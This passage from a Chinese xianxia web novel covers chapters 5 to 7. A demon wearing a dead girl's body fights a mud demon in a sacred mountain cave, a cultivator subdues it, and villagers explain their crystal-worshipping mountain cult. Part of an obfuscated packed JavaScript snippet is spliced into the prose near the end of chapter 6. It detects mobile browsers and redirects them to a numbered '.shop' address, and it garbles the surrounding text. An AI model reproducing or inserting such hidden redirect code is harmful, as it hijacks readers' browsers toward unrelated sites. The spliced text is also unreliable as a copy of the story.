隐约的哭声,安抚声,一墙之隔。 程净竹静静地凝视她。 他似乎什么也没察觉,阿姮略略活动了一下发麻的手指,指尖缓缓擦过他胸膛,轻轻拨弄了一下他襟前水青的宝珠,无声收敛起自己满掌暗红的莹光,恍若温声耳语:“小神仙,你的珠子真好看。” 珠子轻微碰撞,发出清音。 “阿姮姑娘,”程净竹如冰雪一样干净又疏冷的目光瞥向她摩挲宝珠的手指,他严整的衣襟也因此而有些凌乱,“你的手是不想要了吗?” 指间宝珠忽而冷得刺骨,阿姮的手僵了一瞬,无端从他身上感受到一股危险的气息。 茫茫白雾浮动,篱笆外,林中幽暗的浓荫中忽而风动,阿姮立即转过脸去,双目暗红:“谁?” 5.第5章 阿姮还未看清篱笆之外那片松竹浓影,却听珠玉微碰清音,那年轻修士绕步向前,压在领后的背云“叮叮”轻响,他步履如常,身影却瞬息之间,已在数步开外。 阿姮眼见他后背背云垂挂的流苏融入雾色,她立即跟了上去。 “是他……” 小巧的玉葫芦里,霖娘喃喃了一声,声音陡然变得激烈起来:“是他!” 阿姮垂眸,腰侧玉葫芦嘴儿上正“噗噗”地冒着黑气,那是人类非正常死亡后化为鬼,所生的怨气。 阿姮倏尔停步,抬起一双眼睛,四周白雾茫茫,远处山水如墨,那白衣修士已不见影踪。 “阿姮!带我去找他!” 霖娘在葫芦里喊道:“求你!带我去找他!” 霖娘有点太吵了,也许是因为这副壳子原本就是霖娘的东西,阿姮听着她越发尖刻的声音,只觉得太阳穴突突地疼:“闭嘴,带路。” 非正常死亡的鬼一旦遇见杀害自己的凶手,便会怨气大涨,而这种怨气会拼命地抓住凶手任何一丝一缕的痕迹,缠上去,裹上去。 阿姮跟着葫芦里汩汩冒出的黑气走,这黑水村除了松竹,还是松竹,根本不生长其他任何树木,连地上的花草也很单一,颜色则是越浓越艳,一点没有清新淡雅的生物。 在黑水村的正南方,是常年被浑浊的雾气笼罩的巍峨巨山,它岿然高耸,严严实实地挡住了半边天。 下过雨的山路泥泞,阿姮来的路上鞋袜尽湿,她干脆扔了鞋袜,赤足来到山前,它实在太过巨大,阿姮仰头:“这便是你们的神山?” 神山巍峨,一眼难望其肩项,阿姮遥望雾气中朦胧的轮廓,只觉得这山形状有趣,她手指轻动,霖娘被怨气相托在湿润的山风中显出半透明的轮廓,立足神山之下,她这样漂浮半空的水鬼,渺小若一粒微尘。 面对神山,霖娘的神情却堪称凶恶,嗅闻到风中那一丝气味的顷刻,她立即扑向茫茫雾中,直逼峭岩。 若论平日,霖娘是断没有这样的能力可以离阿姮的葫芦这样远的,但今日也许是怨气相持,她凭着胸中的幽愤,竟然直入峭岩,阿姮不紧不慢地往前走去,拨散重重雾气,方才发觉这一面峭岩上竟然遍布着大大小小形状不一的洞窟,而洞窟边缘修有狭窄栈道,再往下,则是层层云梯,供人攀援。 密密麻麻的洞窟就像是附着蜂巢的孔洞,阿姮方才举目一望,却听霖娘一声尖锐的叫喊:“柳行云!” 耳中突的一刺,阿姮脸色微沉,身影陡然化为暗红的雾,循着霖娘的声音掠入一洞窟当中。 洞中无火,但也用不着火,阿姮身影融在雾中,一双暗红的眼珠微微转动,只见石壁嶙峋上有很多人为的,开凿的痕迹,幽深处,被工具层层剥开表面黑石,开凿出来半边如冰般剔透的颜色,它并非是一簇一簇的矿石,人们大约是顺着它原本的形状而开凿的,剥开粗粝的石料,露出它一半晶莹的本相,阿姮说不好那到底是什么轮廓,粗略地看,只觉得它像粗壮而强有力的一根天柱,支撑着其上巍峨的山体。 它并非是冰,却比冰更寒,阿姮感受到那股刺人的寒意,竟令她浑身暗红的雾气都被迫减淡。 这个东西,竟然在压制她的能力。 阿姮脸色微变,转过脸去,那洞口却在此时猛然震动,一块巨石从顶上砸下来,轰然一声,天光尽灭,洞口被堵了个严严实实。 霖娘眸中怨愤一滞,神志略微恢复了一些,她立即转过去看阿姮,却见阿姮脸上丝毫笑意也无。 “柳行云!你出来!” 霖娘大声喊道。 洞中幽暗极了,但阿姮是妖邪,霖娘是水鬼,她们都看得清这洞窟里的情形,阿姮不敢靠近那冰晶一样的天柱,她鼻尖微动,嗅闻到一丝属于淤泥的,潮湿味道,还有另一缕残留的……人味儿。 “这么些天,看来你已经很习惯这副壳子了。” 洞窟中空旷,更衬这道忽然出现的声音显得清晰。 轻微的步履声传来,阿姮还没回头,那霖娘猛地先转身,幽暗的浓影里,一道颀长的身影静立,他肤色有些略深,不太衬他那副过分俊秀温润的皮相,他微微一笑,眼底泛着柔光。 与那夜黑水河畔,老树之下的神态如出一辙。 “柳行云……” 霖娘泪意乍涌,眼眶通红。 阿姮看她浑身黑气汩汩地往上冒,终于转过去,将那柳行云上下打量了个遍,却不好判断他这副模样到底算美算丑。 “阁下抢了我看中的壳子,不该给我一个说法么?”那柳行云却将浑身冒黑气的霖娘忽视了,只盯着阿姮,说道。 阿姮轻轻拂开颊边的浅发,垂眸将自己这副壳子看了看,说:“这如何便是你的壳子?她有说给你了?” 柳行云不笑了:“我并不想与你生事,今日你若将这壳子还我,来日,你还有机会去取其他的壳子,但若你存心与我作对,那么……” 阿姮还在等他的下文,但霖娘浑身的黑气都快充盈整个洞窟了,根本不待柳行云说罢,她便冲上去:“柳行云!你为何杀我!” 托着她身形的波涛化为墨色长练自臂弯飞出,那柳行云立即伸手将其挽住,随后抬起那双仿佛天生含情的眼,看向半空中的霖娘:“你们人类都是蠢货。” “你还看不出,我根本不是你的柳郎?” 霖娘眼瞳震动。 那“柳行云”挽着她墨练的手忽然变得黢黑,掌中好似有个无底洞似的,将墨练越吸越短,也因此,他的手变得湿淋淋的,往下滴湿泥。 那种潮湿的,微腥的味道弥漫。 霖娘嘴唇颤抖:“你……不是柳行云?” 墨色的长练被吸尽,他一掌攥住霖娘的脖颈,此刻不再故意去摆弄出人的情态,他的脸便显得无比僵硬,无比冷漠:“柳行云早死了。” 湿润的淤泥沾了霖娘满颈,他脸上的皮肤颜色也在褪去,变得如淤泥一样黑,五官轮廓也因为吸收了波涛墨练而变得模糊。 他看向阿姮:“你是妖邪,在这山神洞中,你是施展不出你的本事的,乖乖脱了这层皮,把它还给我……” 他一边说话,一边还在往下滴泥水。 单是用这双眼看,阿姮便知道他原是个泥巴捏的妖物,可奇怪的是,她却并未在这个泥巴怪身上嗅到任何的妖物气息,只有一股烂泥味儿。 这大约便是这泥巴怪敢将她往此处引的缘故。 不知为何,这洞中的东西,并不能对他产生任何影响。 霖娘在那泥妖手中挣扎得满脖颈子都是淤泥,阿姮看她一眼,抬手暗红的雾气浮出,生生切断那泥妖钳制着霖娘的那只手。 手臂落地,立时成了一滩湿泥。 但那泥妖很快又生出一只新的臂膀来,比从前那只要更粗壮强大,但却分毫不匹配他这副身形,看起来畸形怪异极了。 “霖娘,过来。” 阿姮勾手,雾气缠裹霖娘,将她从泥妖面前生生拽回来的同时,亦裹碎了霖娘的身形,使其被雾气包裹成一团掠入阿姮掌中。 阿姮将其一把按向胸口。 顷刻,鲜血濡湿她胸前的衣料。 泥妖见状,作为眉毛的那团泥十分干脆地掉在了地上,他面目更模糊,他心里清楚,已经死去的人,如无机缘,魂魄是无论如何也回不到自个儿的壳子里去的。 霖娘只是被暂时团成了一个心脏,塞在了那壳子胸前的血洞里,她头七才过去没多久,还有人味儿,如此回到自个儿身上,多少能抵消一些这山神洞对妖邪的天然压制。 泥妖一笑,湿润的泥流进他自己的嘴里,他的声音有点含糊:“你真是小瞧了山神洞,如此,我便当你是铁了心不肯还我壳子了。” 泥妖此时仍用柳行云的声音,听得阿姮心口的那团东西黑气直冒,阿姮扶了扶胸口,拍散了黑气,却不知为何,胸口充盈着一股滔天的情绪,那情绪冲撞着她的胸膛,令她不由深深呼吸起来,再抬眸,她看向那还勉强有点柳行云的模样的泥妖,胸中竟生出一种想要将他彻底撕碎的冲动。 这是陌生的冲动,是不属于她的感觉。 阿姮站直身体,浑身的骨骼轻轻响动:“我脱不下来啊。” 泥妖也不管她是真脱不下来,还是假脱不下来,此时早已是耐心全无,他手一伸,湿润的泥在他掌中化为一鞭。 那只粗壮的手臂一抬,长鞭朝阿姮扫去。 阿姮顷刻化雾,那长鞭扫过,漫漫轻烟则又在他处显出身形,因霖娘在胸,阿姮抬手,多少聚起一些法力。 暗红的流光飞出,又切断那泥妖一臂,那长鞭连同手臂落地,又成烂泥一滩。 但泥妖很快又生一臂,手中化一长戟,重重朝阿姮压去,如此缠斗开来,这洞窟便显得不那么宽阔了,阿姮与之斗了几回,那泥妖回回断手断脚,却又回回生出新的手脚,比从前的要更粗壮,更巨大。 于是他四肢之巨,更显其身奇小,什么刀枪剑戟,十八般兵器他统统化来与阿姮相斗,弄得阿姮满身脏泥,力越竭,阿姮便被这山神洞压制得越狠,那泥妖一只泥手挥来,阿姮被糊了一脸泥,没看清便被扫了出去。 壳子的五感早就成了她的五感,浑身骨头的疼也是阿姮亲自领受,她抹去脸上污泥,暗红的眸子盯住那泥妖,瞬间身如利剑,直破泥妖胸膛。 泥妖不是人,自然没有人的心脏,他低头一看胸口破了个泥洞,又揉吧揉吧填了团泥进去,然而阿姮吃准了他身形笨重,迅疾如风地在他身上破开一个又一个的洞,弄得跟蜂巢似的,很快泥妖巨大的身躯塌了下去,融成一团。< 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但这似乎并非是泥妖能弄出来的动静,这种震颤是深邃的,是来自于阿姮身下这石台的,她看见石台开始出现裂缝。 漆黑的石料很快分崩离析,露出底下晶莹的颜色,整个洞窟弥漫起呛人的尘烟,而阿姮身下的石台已经彻底脱去漆黑的石胎,露出当中完整的,剔透的晶体。 阿姮看着身下,目光又倏尔往上,那天柱仍与石壁相连,她原本看不出它的形态,但此时,她忽然发觉,这哪里是什么天柱,分明像是兽类一只臂膀的骨骼,而她身下,则是它的巨大的爪子。 它没有血肉,晶莹的骨骼与这山石融为一体。 人们挖断了它的臂膀,因此只剩这么一截外露,而石台之中,它的爪子到今日方才脱开石胎,阿姮就这么被它捧在掌中。 法门骤然被破,泥妖癫狂起来,两只巨大的手掌狠狠砸向阿姮。 正是此时,猛然“砰”的一声巨响。 阿姮抬头,洞口巨石粉碎为更加浓重的烟尘,被钻进来的那道天光照得粒粒分明,浓烟中,那样一道颀长的身影若雪。 珠玉轻碰出“叮当”的清音,阿姮见他抽下腰间银色的,坠着数颗水青宝珠的蛇尾链,朝泥妖掷去。 链子闪烁莹光,顿时折下泥妖双臂,将其缚住,日光照着他苍白而修长的手指,只微微一动,那链子骤然收紧,泥妖顿时散成一滩烂泥,当中一团混沌的黑气被那蛇尾链紧紧缠住,化为轻烟收入那年轻修士腕上的宛若流霞的念珠中。 浓烟散开了些,阿姮对上那修士冷若清霜的目光。 “小神仙?” 阿姮活动了一下有些发僵的手。 她并不知道自己此时是一副什么样子,一身衫裙被淤泥和血弄得脏透了,一张脸上亦是血,亦是泥,她没有动,就躺在那像是兽类的爪子上,学着霖娘,挤出点颤抖的声音:“我好害怕啊……” 霖娘自阿姮心口出来,便化出形,此时正呆呆地盯着地上那堆烂泥,只听阿姮忽然挤出这样一声,她浑身一抖,回过头去。 程净竹手中拎着那条银色的蛇尾链,链子上一点泥都没沾,泛着凛光,俨然是一条非比寻常的法绳。 他像是在注视阿姮,又像是在看阿姮身下的形似兽爪的晶体。 他并非是什么神情都没有,只是那点涟漪散得太快,而阿姮身为妖邪,也并不能辨清那到底是什么意味。 底下传来诸多人声。 “阿姮姑娘,为何在此?”程净竹走入洞窟,目光触及那滩污泥,手指略微抬了一下,污泥中一件衣袍化若淡烟被他收入腰侧的银纹香囊中。 阿姮起身,踉踉跄跄地往他面前跑:“是这怪物,他……他变作我情郎的样子引我来的!” 她的本意是要扑到程净竹身上瑟瑟发抖一番,然而她还没能触碰到程净竹半片衣角,便被他一根手指抵住额头。 她此时浑然一个花猫脸,抬起眼帘,眸中暗红早已消散,眼睛乌黑而明亮。 “你的,” 程净竹低眸看她,淡色的唇轻启,“情郎?” 阿姮与他相视:“是啊。” “这洞窟里是怎么了?” “刚刚好大的动静!我还以为神山要塌了!” 人们攀援而来,七嘴八舌地说着,来到洞口。 也是此时,抵在阿姮额前的那根手指收回,阿姮低头,看见他指尖还是干干净净的,她便伸手摸了一把自己的脸,真是好多的黑泥。 “程仙长,这是怎么回事?” 那彩绳进洞,便看见地上好大一滩的黑泥,人踩上去,双脚几乎陷在里面,她脸色又些发白。 洞中黑泥的味道很大,但彩绳一进来,阿姮鼻尖动了动,陡然将目光移向她。 6.第6章 “哎呀,好大一滩黑泥!这这这……不是水底下才会有的东西么?如何在这里?” 老鱼头年纪大,在后头好不容易爬上来,挤开人群便踩了满脚的湿泥,半个小腿肚都陷在里头,他不由大惊。 “一泥妖作祟,” 程净竹方才淡淡吐出这二字,回眸见人们脸色各异,便又道,“现已被收服,诸位不必惊慌。” “泥妖?泥巴也能成妖怪?” “这真是闻所未闻,闻所未闻哪!” “真是稀奇!” 人们七嘴八舌地吵嚷,又赶忙将自个儿陷在黑泥里的腿抽出去,都回到洞窟外头的狭窄栈道上,不敢再进去了。 唯有彩绳,她是村长的儿媳,此时村长不在,她作为主心骨,当是这些人里最镇静的那一个,她来回将烂泥堆看了一圈,拧起眉头。 忽觉背后阴冷,彩绳一下回头,对上阿姮那双漆黑的眸子,她吓了一跳,脸色微白,辨清此人的模样,便冷着声:“霖娘,你做什么?” 阿姮还未说话,那白衣修士却忽然道:“彩绳姑娘,不知黑水村可有过妖物为祸的先例?” 彩绳闻言,视线落向程净竹,随后摇了摇头:“我们在此繁衍生息两百来年,从未见过什么妖怪。” 说着,她又看向地上浓黑的烂泥:“也不知这泥土是如何修得妖身的,难怪,近来我村中不宁,来寿叔那两个儿子本就有青骨病,说不一定就是病死的,但小有,还有……” 彩绳抬头,蓦地看向阿姮。 阿姮脑袋微微一歪,与她相视。 “还有霖娘如今这样,只怕与这妖怪脱不了干系!” 彩绳转身朝程净竹作揖:“程仙长,此时我公公不在,我代他,代黑水村全村人谢过仙长大恩!” “是啊,多谢仙长!” “谢谢仙长!” 洞窟外面,人们也赶忙作揖道谢。 “斩妖除魔,修行本分,诸位不必如此。”程净竹抬眸扫过洞窟外众人,人们已自发地让开一条道,但他却并没有挪步的意思,此时洞窟中烟尘俱净,程净竹转过身,踏过湿泥,履不沾尘地走到那透如冰晶的天柱旁。 说是天柱,实则不然,它更像是一只巨兽的前臂自巍峨山顶破石而入,奇怪的是,它却并非是一头猛兽应有的所谓破石穿空,击碎魍魉的强大动势,却像是那巨兽伏坐在地,以致于上臂如柱与山体相连,而下臂则埋藏在这地下,露出来一只舒展的爪子,而这只巨大的爪子,血肉尽融,只剩骨头化为寒冰一般的晶石,那么虚虚地蜷握着,像是掌中握着什么,非但没有碾碎魍魉的凶猛气焰,反而有一种怕捏碎什么的小心翼翼。 “彩绳姑娘,这是什么?” 他问。 彩绳亦是第一回见那形似兽爪的冰晶裸露出来,她眼中微惊,走上前去,说道:“仙长有所不知,此物看着像冰,实则不然,我们称它璧髓。” “璧髓?” 程净竹转身,将目光落在彩绳身上。 彩绳点点头,随后又道:“两百多年前,四海战乱不止,天下民不聊生,我们这些人的先祖本是各地逃避兵祸的流民,在路上相识,有一位姓吕的员外接济了他们,并带着他们一块儿逃亡避祸,谁知路遇兵匪劫道,奈何他们都是手无寸铁的流民,并无抵抗之力,吕员外领着他们逃至水边,那时江上大雾笼罩,但后头追兵不舍,吕员外便让所有人匆忙伐竹,做出筏子,筏子不够,便用绳子绑着剩下的男人们,他们水中,老弱妇孺在筏子上……筏子上的人拉着水里的人,水里的人托着筏子上的人,就这么穿雾过江,哪知道过了江,便来到这片黑水黑山,无人之境。” 彩绳继续说道:“他们本担心追兵过河追来,然而数日过去,几月过去,根本没人追来……因为那日过后,那江上便笼罩起连天毒瘴。他们想着,既然外头兵祸横行,全是焦土,那倒不如在此安家。” “但这里的水是黑的,人喝进肚子里,会腹痛,会生邪病,”彩绳深深地叹了一口气,目光触及洞窟中晶莹的璧髓,她的神情又变得明亮,“也是那时,有人在这神山拾得一片东西,本以为是冰,但它却并不融化,也是偶然之下,有人将它丢进水碗里,发现黑水竟然即刻变得清澈,如此再将水喝下去,便没有人再因此而得邪病。” “自那以后,我们尊此山为神山,我们相信这山中之神在护佑着我们,否则当年的绝境早困死了那些先祖,也就没有今日的我们了……正是因为山神,这黑山黑水,才是福地,是净土。” “若是净土,是福地,” 程净竹看着她,“那么青骨病又是从何而来?” “那是山神的诅咒!” 洞窟外,栈道上,有人说道。 程净竹道:“照你们所说,山神护佑你们,又如何会诅咒你们?” “那是因为有的人不知足!” 彩绳的脸色陡然变得沉重起来,她眼中似有狂热,那是一个信徒对山神深重的崇敬,而因为这份深深的崇敬,她反而显得有些不近人情:“一百年前,此地还不叫做黑水村,而称黑水镇,因为璧髓可以净水,亦使人长寿,人寿命最长可抵百岁,先祖在此繁衍生息,至一百年前,此地已有万人,称一小国都不为过,那时我们这里的繁华,丝毫不比外面差。” 彩绳轻抬起下颌,莫名有一分借着山神之势的高傲。 阿姮看着她,彩绳这般情态,说得就好像她真亲眼见识过所谓外面繁华似的。 “可是!” 彩绳眸中陡然焚起烈火:“有人却生出离开净土之心!都是因为他硬要穿过毒瘴去外面,才会触怒山神,以致毒瘴笼罩整个黑水镇……那时死了很多很多的人,只有少数人逃出来,跑到如今这块地方落村而居,也是从那个时候起,村中开始有人患青骨病,而璧髓也再不能保人延寿,只是依旧可以将黑水化为清水,供我们取用。” “凡是生出叛离之心的人,都会被山神诅咒,他们的家人,会因为他们而患上青骨病,一旦患上青骨病,就只能等死。” 程净竹淡淡道:“山神怎会屠戮无辜?” “那是他们自己活该!” 彩绳的声音陡然变得尖刻,眸中是熊熊燃烧的怒火。 “彩绳啊!” 那老鱼头眉头皱得死紧:“你这话可不对!那有好些村邻也不是他们自个儿想出去,都是受人牵连!” 彩绳冷冷瞥他一眼,似乎并未将他的话放在心上,而是继续道:“山神赐给我们净土,让我们免遭兵祸,赐我们璧髓,使我们生存,使我们长寿,可有些人却还想要往外跑……可外面……” 她的声音变得轻了:“外面有什么好呢?也许几年,也许几十年,又或者几百年,皇帝一个又一个地换,今朝他称王,将来天下又换谁的姓?那都跟我们这些人没干系,可换了谁,赋税也年年征,兵祸也常常有,外面也许很大,很辽阔,可却是永远的是非之地,人在其中,便是草芥,而我们与世隔绝,没有赋税,没有兵祸,我们种的粮食自己吃,织的布自己穿……哪里不比外面强呢?” 如今的这些黑水村人,都是一百年前从西边逃出来的幸存的镇民的后代,他们家中老人最是知道,到底有多少亲人朋友都葬在那镇中,被毒瘴淹没至今,他们连尸骨都不敢去收。 狭窄的栈道上,许多人无话,却潸然泪下。 近黄昏,阿姮被听见泥妖作祟的消息的林氏带回家中,林氏好好叮嘱女儿不要乱跑,但见女儿丝毫反应也无,林氏只得叹了口气,端来一碗饭给她,又去照顾丈夫。 阿姮不喜欢馒头,也不喜欢那碗米饭,更不提那碟干巴巴的咸菜,她并不需要像人类一样进食,而面前这些东西也没有多好的滋味,她看也不看一眼,转身走到那竹编屏风畔,腰间葫芦中雾气浮出,缭绕于浴桶之中,很快化为一桶黑如墨汁的河水。 葫芦里的霖娘没有任何动静,应已与河水相融,暂难成形。 浑身脏污的衣物除尽,满头乌发散垂至腰,这副女子的躯壳苍白而柔韧,阿姮并不动,而是看着桶中的黑水片刻,随后,她勾了勾手指,裹在衣物中的一块东西被暗红的浮雾托来她掌中。 这东西通体晶莹,浑如冰晶,落在她掌中便散出刺骨的寒意,那寒意甚至压散了她满掌暗红的雾气。 阿姮皱眉,手指微动,她将冰晶丢入浴桶,轻微的一声响,激起的却并非墨涛,而是清澈至极的水波。 满桶黑水,竟然真的顷刻明澈。 这是阿姮第一次见到所谓清澈之水,她眼中盛满新奇,光裸而纤细的双腿跨入浴桶中,后背的长发湿透,如流墨成锦,莹润泛光。 阿姮洗去脸上的泥污,双足激荡起层层水花,她本就在水中生存很久,见了水便有亲近之意,她在水中游来转去,自己玩得很高兴。 紧闭的窗外,夕阳的余晖已在天边烧尽了,暮色愈浓,而房中水声渐止。 满室浮雾袅袅,阿姮忽然破出平静的水面,露出来整张苍白的脸,湿润的发丝蜿蜒紧贴在她颊边,水珠顺着她的鬓发,侧脸往下,划过她纤细修长的脖颈,氤氲在她锁骨上缘的浅涡里。 清澈的水面映出她胸口血红。 那是一道难以弥补的破口,淡淡的红无声在水中蔓延。 她忽然抬起一双暗红的眸子,看向房门。 门中松垮垮的一道缝隙,如深邃的沟壑。 霖娘融在黑水中许久,方才成形,她忘不了那神山洞窟中的一滩黑泥,神思随着满葫芦的黑水飘飘荡荡的,又是伤怀,又是迷惘。 “阿姮……” 她方才出口唤了一声,很快身形便被波涛相托,化雾而出。 此时出来,霖娘才发觉窗外晨光青灰,已是破晓,她转过脸去,只见阿姮散垂长发,斜靠在床上,手中正抛着一枚珠子玩儿。 霖娘见那珠子幽蓝,剔透极了,便问:“这是哪里来的?” 阿姮又一次将珠子稳稳接住,昏昧的光线照着她掌中的宝珠里隐有细微的金色流光闪动,她慢慢道:“是你情郎喉咙中的东西,我顺手掏了来。” “他才不是柳郎!” 霖娘眉宇凝起浓浓幽愤,声音激动起来。 经过一夜,霖娘只觉记忆中许多她曾屡屡忽视的细节都变得明晰起来,她开始自说自话:“我早该想到的……他回来的时候跟他离开的时候差不多,三年过去,他好像没有任何变化,我抱他的时候,总能闻到一股泥土的腥味,我还以为,还以为是我的错觉……” 阿姮只听了她最后那句,便想起当夜在黑水河畔她曾看见岸上的霖娘扑入那化作柳行云模样的泥妖怀中,她不由道:“我昨日学你,为什么不成呢?” 霖娘起初没反应过来阿姮说学她什么,等她勉强抽出思绪,抬头看向阿姮,忽然想起阿姮昨日在洞窟中生扑程仙长那一幕:“……那当然不成了,你们才认识多久,又不像那泥八怪是存心骗我,所以才抱我,何况那仙长一看便清心寡欲,不是常人。” 阿姮不是很明白人类的这些弯弯绕,昨日她生扑那小神仙,实在是想再试试自己这双手到底能不能抓破他的胸膛取出心来。 似乎是不能的。 那小神仙看似肉体凡胎,她却偏偏取不出他的心。 阿姮攥住手中的珠子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080985|148940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 想起神山洞窟中那么多的璧髓,那些东西令她很不舒服,而今自己既有这副壳子在,何不离开这儿,去那些村人所说的外面呢? 那么多人敢冒着患青骨病的风险憧憬外面,那么外面,到底是什么样的? 院子里忽然有了动静。 林氏本在浇菜地,忽听篱笆外一道声音,她转过去,见是那白衣修士,着急忙慌地碰倒了水桶,她也顾不上,干脆将瓢也扔了,忙迎上去:“仙长!仙长您怎么来了?” “你丈夫的腿,可好些了?” 程净竹问道。 林氏连声应,又赶忙将程净竹迎去屋中,那老赵躺在床上,见那白衣修士进来,便想坐起身:“仙长……” “不必起身。” 程净竹走近,注视着老赵,道:“你的脸色不太好。” 老赵身子一僵,泛白的脸上勉强挤出一分笑容,嘴巴动了动,犹犹豫豫地不知该说些什么,程净竹却仿佛只是随口一言,又令他卷起裤管。 老赵腿上并未再反青,只是身上还是无力,程净竹简单看过,便站直身体,道:“没有大碍,待伤口长好,也就痊愈了。” 老赵与林氏两个立即又连声道谢,林氏忙要去做顿好饭,程净竹转身欲说声“不用”,目光却扫到对面粗粝的那面墙上供奉着一个神龛,神龛中供奉着一尊神像,但说是神像,却又并不完整,因为神像只有身躯,没有头颅,一张香案摆在前面,香炉里插满了断香。 案上供果糕点还算齐全。 “这是山神的神龛?”程净竹问林氏。 林氏都要往厨房去了,听见仙长问话,便转过身来,望向神龛,点了点头:“是。” “既然如此,为何神像无头?” 程净竹道。 林氏说道:“原先是有的,我们这里家家户户都供山神,也不是没有人为山神塑像,那时,毒瘴还没有淹没西边翠玉峰下的整个镇子,不知多少人为山神建庙塑像,只是……” “只是,那些新塑的神像过不了一夜,便会自断头颅。” 老赵蓦地接过话去。 程净竹抬眼看去,只见老赵躺在床上,却并未在看这边的神龛,他不知虚虚地望着梁上哪一处,沉声道:“无论是谁,无论用多高超的技法,神像的头颅还是会断,会碎,渐渐的,有人说,这是山神不满大家给他塑的容貌,于是更多人尝试去塑更好更威武的神像,但无一例外,他们都失败了。” “久而久之,大家也不敢再执着为山神塑一个完整的神像,到了如今,我们黑水村人家中的山神像,便都是无头神像。” 老赵说这番话,眼中却似乎并不满含敬畏,甚至,他的语气有一点莫名的冷硬。 黑水村人一向不敢擅谈山神。 程净竹看着他片刻,倒也没再继续问些什么,而是道:“阿姮姑娘可在?” 阿姮? 老赵与林氏面面相觑,分明对这个名字陌生得紧,但林氏忽然想起那日在山神庙前的情形,她一下抿紧嘴唇,神色变得有些奇怪,勉强笑了一下:“您是说,是说霖娘吧?她……” “小神仙。” 这样一道声音落来。 程净竹转身,门外晨雾淡淡,日光不及那女子身上鹅黄的衫裙明亮,她散垂乌浓长发,立在篱笆院中。 “找我啊?” 她的声音轻快极了,眼睛弯弯。 鹅黄的衣裙,银红的披帛,柳绿衫子,明亮的色彩乱揉一气,倒是十分的显眼,程净竹走出去,到她面前停下,朝她伸出一只手掌。 阿姮看着他的那只手,不知为什么,她总能轻易在他身上发现人与人之间的不同,譬如,同样是人,他却生得比村邻高大,再譬如,同样是手,他的手却比她见过的村中别的男人的手要漂亮。 无论是筋骨,还是指节,哪怕是苍白的皮肤底下浮出的淡淡的血管的青,指腹的粉,令人看着就高兴。 阿姮甚至想一口咬破他的手指,咬出殷红的血来,汩汩地淌。 但她却没那么做,却像一个人类一样,伸手去握他的手指。 他的手很冷,像璧髓一样冷。 几乎是在她才触碰到他手的顷刻,程净竹睫毛微动,立即抬手挣开她,他腕骨上的念珠也因此而微微晃动,发出轻响。 程净竹再度朝她伸手:“东西,给我。” “什么东西?”阿姮笑着问。 “我的法绳只收服那泥妖,并未毁起真身,而今,他却只剩一元神,口不能言,耳不能听,”程净竹言辞淡淡,“洞窟当中他真身已融成烂泥,唯有颈部还算完整,若不算喉咙正中的那个洞的话。” 也许是见阿姮仍面露迷茫,并不说话,程净竹朝她走近一步,两步,垂眸凝视她含笑的脸:“若没有他喉咙中的东西,给他几万年,他也难凝神聚形。” 阿姮背在身后的手中捏着那枚珠子,她喜欢它漂亮的颜色,还有里面的流光,她仰面望着面前的白衣修士,说:“是吗?那东西好厉害啊。” “当时洞窟只有你与那泥妖在,东西不在你手里,又在何处?” 程净竹道。 “谁说只有我跟泥巴怪了?” 阿姮不以为意,“在我之前,还有彩绳呢。” 程净竹眉心微动,看着她:“彩绳?” “我一进去就闻到她的味道了……”阿姮说道。 篱笆院中,山雾还未被清晨的日光烤干,两人之间忽然一静,气氛有些怪异起来,阿姮再抬头,对上程净竹波澜不惊的眼,她微微一笑:“小神仙,你不知道,我自小天赋异禀,对气味尤其敏感。” 7.第7章 篱笆外白雾缭绕,更衬不远处一片松竹林浑如流墨,白衣修士凝视面前这衣着明亮的女子,他神情沉静若水,然而阿姮越是对上他那双眼,便越觉静水流深,仿佛她的这身衣衫,乃至衣衫底下这副皮囊在他眼中浑如无物,她有一种被他看透的错觉。 阿姮嘴角往下一撇,背后那只手摩挲了一下浑圆的珠子,犹豫了片刻,正欲将手伸到前面去,却忽听他道:“昨日你受伤了?” 阿姮才要交出珠子的手一顿,见面前这少年修士垂眸,神色平常地凝向某处,她低眼看向自己左手背上一片擦伤,正是昨日在山神洞中与那泥巴怪斗法之时弄的,她又重新握紧右手心的珠子:“是啊。” 作为天生的妖邪,她本无相,亦无五感,穿上这副人的皮囊,阿姮方知什么是皮肉之疼,但令她最心烦的,还是这副人类的皮囊正如人类的衣衫一样,稍有磕碰,便会破损,会流血,会有瑕。 若是这皮囊的血流干了,变得干瘪瘪的,她穿着它不好到处走,脱又一时没有办法脱下来,那才麻烦! 阿姮这么想着,眉心不由拧起。 忽然一只手伸来眼前,掌心静躺一只瓷瓶,阿姮看着那瓷瓶,目光又往上,落在那少年修士的脸上,他道:“此药外敷。” 他顿了一下,冷淡的语气底下若有似无一分意味:“不要误食。” “若我吃了呢?” 阿姮从他掌中接来瓷瓶。 “若实在好奇,你试试便知。” 程净竹似漫不经心,扔下这句话,便绕过阿姮往篱笆院外去,阿姮转过身,他步履不疾不徐,但那雪白而颀长的背影却很快融入山雾,变得模糊不清。 阿姮回过身,抬眸便看见立在房门口的林氏,她脸色有些发白,只目光与阿姮一相相触,脸颊的肌肉便微微抽动了一下,道:“霖娘,饿不饿?娘这就去做饭……” “好啊。” 阿姮看着她笑了一下,林氏则立即往厨房那边去了。 阿姮左手捏着瓷瓶,右手捏着宝珠回到屋中,她坐在梳妆台前,望了一眼铜镜,前些天都是林氏亲手给她梳的头,今日林氏似乎没这个闲心,她便只得披头散发。 先将宝珠放在妆奁中,阿姮打开瓷瓶,立时便嗅到了一股好闻的味道,但初获五感,她说不清那是什么样的味道,她凑近鼻尖又嗅了嗅,便尝试着将瓶口对准嘴唇。 “那程仙长说了这不能吃!” 霖娘的声音忽然响起,但也是此时,阿姮已经将那瓶中淡绿色的液体抿了一口,霖娘觉得头痛:“你不要什么都吃啊……” 阿姮的脸很快皱起来:“这是什么味道?” 霖娘看她实在好奇,又心想自己已经是个鬼了,吃什么也吃不死,便从瓶中引来一滴尝了,随后她这张与阿姮如出一辙的脸也皱了起来:“苦,苦得要死!” 